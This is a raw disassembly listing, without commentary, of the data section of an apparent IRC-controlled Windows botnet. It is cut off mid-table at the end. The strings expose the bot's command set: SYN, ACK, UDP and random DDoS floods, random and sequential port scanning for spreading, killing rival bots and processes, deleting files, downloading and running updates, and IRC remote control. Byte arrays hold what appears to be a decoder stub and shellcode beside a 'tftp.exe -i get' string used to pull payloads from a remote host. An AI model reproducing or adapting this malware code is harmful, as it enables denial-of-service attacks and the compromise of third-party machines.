; char a_n_z_m_Proce_0[] a_n_z_m_Proce_0 db '.n.z.m. (processes.p.l.g) .. Proccess list.',0 ; DATA XREF: sub_40ABFE:loc_40CF52o align 4 ; char a_n_z_m_Proce_1[] a_n_z_m_Proce_1 db '.n.z.m. (processes.p.l.g) .. Failed to start listing thread, e' ; DATA XREF: sub_40ABFE+23E2o db 'rror: <%d>.',0 align 4 ; char aBk_on[] aBk_on db 'bk.on',0 ; DATA XREF: sub_40ABFE+2418o align 10h ; char aBotkiller_on[] aBotkiller_on db 'botkiller.on',0 ; DATA XREF: sub_40ABFE+2435o align 10h ; char aBk_on_a[] aBk_on_a db 'bk.on.a',0 ; DATA XREF: sub_40ABFE+2452o ; char aBotkiller_on_a[] aBotkiller_on_a db 'botkiller.on.a',0 ; DATA XREF: sub_40ABFE+246Fo align 4 a_n_z_m_Botki_0 db '.n.z.m. (botkiller.p.l.g) .. Already running.',0 ; DATA XREF: sub_40ABFE+249Do align 4 ; char aBk_on_a_0[] aBk_on_a_0 db 'bk.on.a',0 ; DATA XREF: sub_40ABFE+24C5o ; char aBotkiller_on_0[] aBotkiller_on_0 db 'botkiller.on.a',0 ; DATA XREF: sub_40ABFE+24E2o align 4 ; char a_n_z_m_Botki_1[] a_n_z_m_Botki_1 db '.n.z.m. (botkiller.p.l.g) .. Botkiller.',0 ; DATA XREF: sub_40ABFE+2521o align 10h ; char a_n_z_m_Botki_2[] a_n_z_m_Botki_2 db '.n.z.m. (botkiller.p.l.g) .. Failed to start botkiller thread,' ; DATA XREF: sub_40ABFE+25AFo db ' error: <%d>.',0 align 10h ; char aCom_uptime[] aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40ABFE+260Bo align 4 ; char aCom_up[] aCom_up db 'com.up',0 ; DATA XREF: sub_40ABFE+2628o align 4 ; char dword_422B64 dword_422B64 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+26AAo dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh ; char aIrc_who[] aIrc_who db 'irc.who',0 ; DATA XREF: sub_40ABFE+2700o aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40ABFE+2722o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40ABFE:loc_40D381o ; char aD_S[] aD_S db '%d. %s',0 ; DATA XREF: sub_40ABFE+2799o align 4 dword_422BB4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE:loc_40D3D0o dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 ; char aCurrentip[] aCurrentip db 'currentip',0 ; DATA XREF: sub_40ABFE+27EFo align 10h ; char aCip[] aCip db 'cip',0 ; DATA XREF: sub_40ABFE+280Co ; char aMass[] aMass db 'mass',0 ; DATA XREF: sub_40ABFE+2890o align 4 ; char a_n_z_m_Root_p_[] a_n_z_m_Root_p_ db '.n.z.m. (root.p.l.g) .. Already %d scanning threads. Too many ' ; DATA XREF: sub_40ABFE+292Eo db 'specified.',0 ; char a_n_z_m_Root__0[] a_n_z_m_Root__0 db '.n.z.m. (root.p.l.g) .. Failed to start scan, port is invalid.' ; DATA XREF: sub_40ABFE+2A92o db 0 align 4 aRandom db 'Random',0 ; DATA XREF: sub_40ABFE+2C3Eo align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_40ABFE:loc_40D848o align 10h ; char a_n_z_m_Root__1[] a_n_z_m_Root__1 db '.n.z.m. (root.p.l.g) .. %s Port Scan started on %s:%d with a d' ; DATA XREF: sub_40ABFE+2C79o db 'elay of %d seconds for %d minutes using %d threads.',0 align 4 ; char a_n_z_m_Root__2[] a_n_z_m_Root__2 db '.n.z.m. (root.p.l.g) .. Failed to start scan thread, error: <%' ; DATA XREF: sub_40ABFE+2D08o db 'd>.',0 align 10h ; char aIrc_nick[] aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40ABFE+2D81o align 4 ; char aIrc_n[] aIrc_n db 'irc.n',0 ; DATA XREF: sub_40ABFE+2D9Eo align 4 ; char aNickS_1[] aNickS_1 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+2DBBo align 10h ; char dword_422D80[] dword_422D80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+2DD8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 ; char aIrc_join[] aIrc_join db 'irc.join',0 ; DATA XREF: sub_40ABFE+2DF9o align 10h ; char aIrc_j[] aIrc_j db 'irc.j',0 ; DATA XREF: sub_40ABFE+2E16o align 4 ; char aJoinSS_2[] aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+2E40o align 4 ; char dword_422DD8[] dword_422DD8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+2E5Do dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: ',27h,'%s',27h,'.',0 ; char aIrc_part[] aIrc_part db 'irc.part',0 ; DATA XREF: sub_40ABFE+2E7Eo align 4 ; char aIrc_pt[] aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40ABFE+2E9Bo align 4 ; char aPartS[] aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+2EB8o align 4 ; char dword_422E28[] dword_422E28 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+2ED5o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 ; char aIrc_raw[] aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40ABFE+2EF6o ; char aIrc_ra[] aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40ABFE+2F13o align 4 ; char aS_2[] aS_2 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+2F5Bo align 10h ; char dword_422E70[] dword_422E70 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+2F71o dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h ; char aThreads_kill[] aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40ABFE+2F92o align 4 ; char aThreads_k[] aThreads_k db 'threads.k',0 ; DATA XREF: sub_40ABFE+2FAFo align 4 ; char aAll[] aAll db 'all',0 ; DATA XREF: sub_40ABFE+2FD0o ; char dword_422EB8 dword_422EB8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40ABFE+2FFAo dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 10h ; char dword_422EF0 dword_422EF0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40ABFE:loc_40DC0Eo dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 ; char dword_422F28 dword_422F28 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40ABFE+30C4o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 ; char dword_422F5C dword_422F5C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40ABFE+30E7o dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 ; char aIrc_setserve[] aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40ABFE+3148o align 4 ; char aIrc_se[] aIrc_se db 'irc.se',0 ; DATA XREF: sub_40ABFE+3165o align 10h ; char dword_422FB0 dword_422FB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+319Co dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 ; char aCom_killprocna[] aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40ABFE+31F8o align 4 ; char aCom_kpn[] aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40ABFE+3215o ; char unk_423000 unk_423000 db 2 ; DATA XREF: sub_40ABFE+325Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 ; char unk_423034 unk_423034 db 2 ; DATA XREF: sub_40ABFE+3282o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 ; char aCom_prockillid[] aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40ABFE+32DEo align 4 ; char aCom_pkid[] aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40ABFE+32FBo align 10h ; char unk_423090 unk_423090 db 2 ; DATA XREF: sub_40ABFE+333Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 ; char unk_4230C8 unk_4230C8 db 2 ; DATA XREF: sub_40ABFE+335Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 ; char aCom_delete[] aCom_delete db 'com.delete',0 ; DATA XREF: sub_40ABFE+33BAo align 4 ; char aCom_del[] aCom_del db 'com.del',0 ; DATA XREF: sub_40ABFE+33D7o ; char dword_423120 dword_423120 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40ABFE+340Fo dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_42314C dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40ABFE:loc_40E028o dd 0BBBB0220h, 2002h ; char aMirc_cmd[] aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40ABFE+3492o align 4 ; char aMirc_cmd_0[] aMirc_cmd_0 db 'mirc.cmd',0 ; DATA XREF: sub_40ABFE+34AFo align 10h ; char unk_423180 unk_423180 db 2 ; DATA XREF: sub_40ABFE+3509o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 ; char dword_4231AC dword_4231AC dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40ABFE:loc_40E11Co dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 ; char aIrc_gethost[] aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40ABFE+3579o ; char aIrc_gh[] aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40ABFE+3596o align 4 ; char aSSSS[] aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40ABFE+361Eo align 4 ; char dword_4231FC dword_4231FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+365Co dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 10h ; char dword_423230 dword_423230 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE:loc_40E277o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 10h ; char dword_423270 dword_423270 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+36CAo dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h ; char aIrc_privmsg[] aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40ABFE+371Do ; char aIrc_pm[] aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40ABFE+373Ao align 4 ; char dword_4232AC[] dword_4232AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+37F1o dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 ; char aIrc_action[] aIrc_action db 'irc.action',0 ; DATA XREF: sub_40ABFE+3813o align 4 ; char aIrc_ac[] aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40ABFE+3830o align 4 ; char dword_4232EC dword_4232EC dd 54434101h, 204E4F49h, 17325h; char dword_4232F8[] dword_4232F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+3902o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 ; char aIrc_cycle[] aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40ABFE+3924o align 10h ; char aIrc_cy[] aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40ABFE+3941o align 4 ; char a332_1[] a332_1 db '332',0 ; DATA XREF: sub_40ABFE+395Bo ; char aPartS_0[] aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+3980o align 4 ; char aJoinSS_3[] aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+39CAo align 4 dword_423358 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+39DAo dd 2BBBB02h, 79432020h, 2E656C63h, 0 ; char aIrc_mode[] aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40ABFE+39FAo align 4 ; char aIrc_m[] aIrc_m db 'irc.m',0 ; DATA XREF: sub_40ABFE+3A17o align 10h ; char aModeS[] aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40ABFE+3A5Fo align 4 ; char dword_42339C[] dword_42339C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40ABFE+3A75o dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 ; char aSS_exe[] aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40ABFE+3B13o align 4 ; char unk_4233D4 unk_4233D4 db 2 ; DATA XREF: sub_40ABFE+3C09o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h ; char unk_423410 unk_423410 db 2 ; DATA XREF: sub_40ABFE+3C99o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 ; char unk_42345C unk_42345C db 2 ; DATA XREF: sub_40ABFE:loc_40E8ADo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 ; char aDdos_syn_0[] aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_40ABFE+3D22o align 4 ; char aDdos_ack_0[] aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_40ABFE+3D3Fo align 4 ; char aDdos_random_0[] aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_40ABFE+3D5Co ; char aDdosFailedToSt[] aDdosFailedToSt db '[DDOS]: Failed to start ddos thread, error: <%d>.',0 ; DATA XREF: sub_40ABFE+3E9Bo align 4 ; char aDdos_udp[] aDdos_udp db 'ddos.udp',0 ; DATA XREF: sub_40ABFE+3EF7o align 4 ; char aDdosFailedTo_0[] aDdosFailedTo_0 db '[DDOS]: Failed to start ddos thread, error: <%d>.',0 ; DATA XREF: sub_40ABFE+400Eo align 4 ; char unk_423548 unk_423548 db 2 ; DATA XREF: sub_40ABFE+41E3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 ; char unk_423584 unk_423584 db 2 ; DATA XREF: sub_40ABFE+4273o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 ; char aAdvscan[] aAdvscan db 'advscan',0 ; DATA XREF: sub_40ABFE+42E7o ; char aScanAlreadyDSc[] aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: sub_40ABFE+4332o align 4 ; char aScanFailedTo_0[] aScanFailedTo_0 db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: sub_40ABFE+44DDo align 4 ; char aScanFailedTo_1[] aScanFailedTo_1 db '[SCAN]: Failed to start scan, no IP specified.',0 ; DATA XREF: sub_40ABFE:loc_40F2B8o align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40ABFE+47FBo align 10h aSequential_0 db 'Sequential',0 ; DATA XREF: sub_40ABFE:loc_40F405o align 4 ; char aScanSPortScanS[] aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: sub_40ABFE+4836o db 'for %d minutes using %d threads.',0 align 10h ; char aScanFailedTo_2[] aScanFailedTo_2 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_40ABFE+48C5o align 4 aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_40F5A7+5Do align 4 ; char aSD_0[] aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_40F5A7+127o align 4 ; char aSD_1[] aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_40F5A7+14Ao align 10h ; char aSD_2[] aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_40F5A7+16Do align 4 aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_40F5A7+211o align 10h ; char unk_423770 unk_423770 db 2 ; DATA XREF: sub_40F7C9+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 ; char unk_4237A4 unk_4237A4 db 2 ; DATA XREF: sub_40F7C9+89o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 ; char unk_4237DC unk_4237DC db 2 ; DATA XREF: sub_40F7C9:loc_40F867o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 8 aConst db 'const',0 ; DATA XREF: sub_40FD9A+24o align 10h dd 0 dword_423824 dd 2 off_423828 dd offset sub_40F94E ; DATA XREF: sub_40FD9A+64r aLetter db 'letter',0 align 4 dd 2 dup(0) dd offset sub_40F9B6 aCountryos db 'countryos',0 align 4 dd 1, 40FB81h ; char aS_4[] aS_4 db '%s',0 ; DATA XREF: sub_40F94E+16o align 4 ; char aSI[] aSI db '%s%i',0 ; DATA XREF: sub_40F94E+4Fo align 10h aPc db 'PC',0 ; DATA XREF: .text:0040FA1Do align 4 aPc_0 db 'PC',0 ; DATA XREF: .text:0040FA4Do align 4 aPc_1 db 'PC',0 ; DATA XREF: .text:0040FAAEo align 4 aSI_0 db '%s%i',0 ; DATA XREF: .text:0040FAECo align 4 aS_3 db '%s|',0 ; DATA XREF: .text:0040FB2Fo aSI_1 db '%s%i',0 ; DATA XREF: .text:0040FB68o align 10h a95_0 db '95',0 ; DATA XREF: .text:0040FBCAo align 4 aNt_0 db 'NT',0 ; DATA XREF: .text:0040FBDAo align 4 a98_0 db '98',0 ; DATA XREF: .text:0040FBF8o align 4 aMe_1 db 'ME',0 ; DATA XREF: .text:0040FC13o align 10h a2k_0 db '2K',0 ; DATA XREF: .text:0040FC2Eo align 4 aXp_0 db 'XP',0 ; DATA XREF: .text:0040FC49o align 4 a23 db '23',0 ; DATA XREF: .text:0040FC64o align 4 aUn db 'UN',0 ; DATA XREF: .text:loc_40FC6Do align 10h aSp0 db 'SP0',0 ; DATA XREF: .text:0040FC8Bo a1: ; DATA XREF: .text:loc_40FC97o unicode 0, <1>,0 aSp1 db 'SP1',0 ; DATA XREF: .text:0040FCAEo a2: ; DATA XREF: .text:loc_40FCB7o unicode 0, <2>,0 aSp2 db 'SP2',0 ; DATA XREF: .text:0040FCCEo a3: ; DATA XREF: .text:loc_40FCD7o unicode 0, <3>,0 aSp3 db 'SP3',0 ; DATA XREF: .text:0040FCEEo a4: ; DATA XREF: .text:loc_40FCF7o unicode 0, <4>,0 aSp4 db 'SP4',0 ; DATA XREF: .text:0040FD0Eo aUnk db 'UNK',0 ; DATA XREF: .text:loc_40FD17o aSSS_0 db '%s|%s|%s|',0 ; DATA XREF: .text:0040FD48o align 4 aSI_2 db '%s%i',0 ; DATA XREF: .text:0040FD81o align 4 dword_4238DC dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh db 66h, 0B9h word_4238EA dw 0FFFFh ; DATA XREF: sub_410081:loc_4101C8o db 80h, 73h, 0Eh byte_4238EF db 0FFh ; DATA XREF: sub_410081+15Bw dd 0F9E243h dword_4238F4 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh db 0B1h byte_423901 db 0FFh ; DATA XREF: sub_410081+11Fw dw 7380h db 0Ch byte_423905 db 0FFh ; DATA XREF: sub_410081+127w dw 0E243h dd 0F9h dword_42390C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40FE3E+8Do dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_423970 dd 12h, 70746674h, 6578652Eh, 20692D20haGet db ' get ',0 ; DATA XREF: sub_40FE3E+CAo ; sub_40FE3E+107o aJ db 'j',0 db 0E8h byte_423989 db 17h, 2 dup(0) ; DATA XREF: sub_40FE3E+63o dd 0C3017500h db 0E8h byte_423991 db 1, 2 dup(0) ; DATA XREF: sub_40FE3E+53o db 0 byte_423995 db 0, 6Ah, 0 ; DATA XREF: sub_40FE3E+144o dd 7E8h db 0, 0Fh, 84h byte_42399F db 0EDh ; DATA XREF: sub_40FE3E+75o dd 0C3FFFFFFh, 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h dd 44B0AAF3h, 515257ABh, 6A286A51h, 55515101h, 83D6FF53h dd 0C08554C4h, 0C3h aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_410340+Eo ; char aD_S_0[] aD_S_0 db '%d. %s',0 ; DATA XREF: sub_410340+75o align 4 ; char aSSStopped_DThr[] aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_410663+47o ; char aSNoSThreadFoun[] aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_410663+63o align 10h dword_423A30 dd 173Fh dd 9875h, 9873h off_423A3C dd offset __fpmath ; DATA XREF: __cinitr dd offset nullsub_1 dd offset nullsub_1 dword_423A48 dd 1B3Fh dword_423A4C dd 19930520h, 4 dup(0) ; __NLG_Notify+2o dword_423A60 dd 2EE3689Dh align 10h off_423A70 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_423A74 dd 2 ; __NMSG_WRITE+46r ... dd 10h dword_423A7C dd 3F8h ; _realloc+4Dr ... off_423A80 dd offset aNull ; DATA XREF: __output:loc_413EAAr ; __output+457r ; "(null)" off_423A84 dd offset aNull_0 ; DATA XREF: __output+259r ; "(null)" dword_423A88 dd 14h off_423A8C dd offset aExp_2 ; DATA XREF: __get_fname:loc_4149D0r ; "exp" dd 1Dh, 41C394h, 1Ah, 41C390h, 1Bh, 41C388h, 1Fh, 41C380h dd 13h, 41C378h, 21h, 41C370h, 0Eh, 41C368h, 0Dh, 41C360h dd 0Fh, 41C358h, 10h, 41C350h, 5, 41C348h, 1Eh, 41C344h dd 12h, 41C340h, 20h, 41C33Ch, 0Ch, 41C334h, 0Bh, 41C32Ch dd 15h, 41C324h, 1Ch, 41C31Ch, 19h, 41C314h, 11h, 41C30Ch dd 18h, 41C304h, 16h, 41C2FCh, 17h, 41C2F4h, 22h, 41C2F0h dd 23h, 41C2ECh, 24h, 41C2E8h dbl_423B60 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r ; __handle_exc:loc_4147D5r ... dd 0 dd 0FFF80000h dbl_423B70 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r ; __handle_exc:loc_4147ADr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_423B88 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr ; __set_statfp+1Fr align 4 tbyte_423B94 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r align 10h off_423BA0 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw ; __output+3AAr off_423BA4 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w ; __output+3E2r off_423BA8 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w ; __input+430r off_423BAC dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew ; __output+3CBr off_423BB0 dd offset __positive ; DATA XREF: __cfltcvt_init+28w off_423BB4 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *) align 10h dd offset sub_4158EC off_423BC4 dd offset sub_4158EC ; DATA XREF: sub_415942+29r off_423BC8 dd offset __wctype+2 ; DATA XREF: _strtoxl:loc_411BB4r ; _strtoxl:loc_411C71r ... dd offset __wctype+2 public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r ; .data:off_423BC8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) ; size_t SrcSizeInBytes SrcSizeInBytes dd 1 ; DATA XREF: _strtoxl:loc_411B9Cr ; _strtoxl:loc_411C59r ... byte_423DD8 db 2Eh ; DATA XREF: __forcdecpt:loc_414CAAr ; __cropzeros+4r ... align 4 dd 1 asc_423DE0 db ' ',9,'-',0Dh,']',0 ; DATA XREF: __input:loc_4161CBo align 4 asc_423DE8: ; DATA XREF: __input:loc_4160BBo unicode 0, <]>,0 align 10h dword_423DF0 dd 0FFFFFFFFh, 0A00h ; __filbuf:loc_416981o byte_423DF8 db 1 ; DATA XREF: __setmbcp+E1r db 2, 4, 8 align 10h dword_423E00 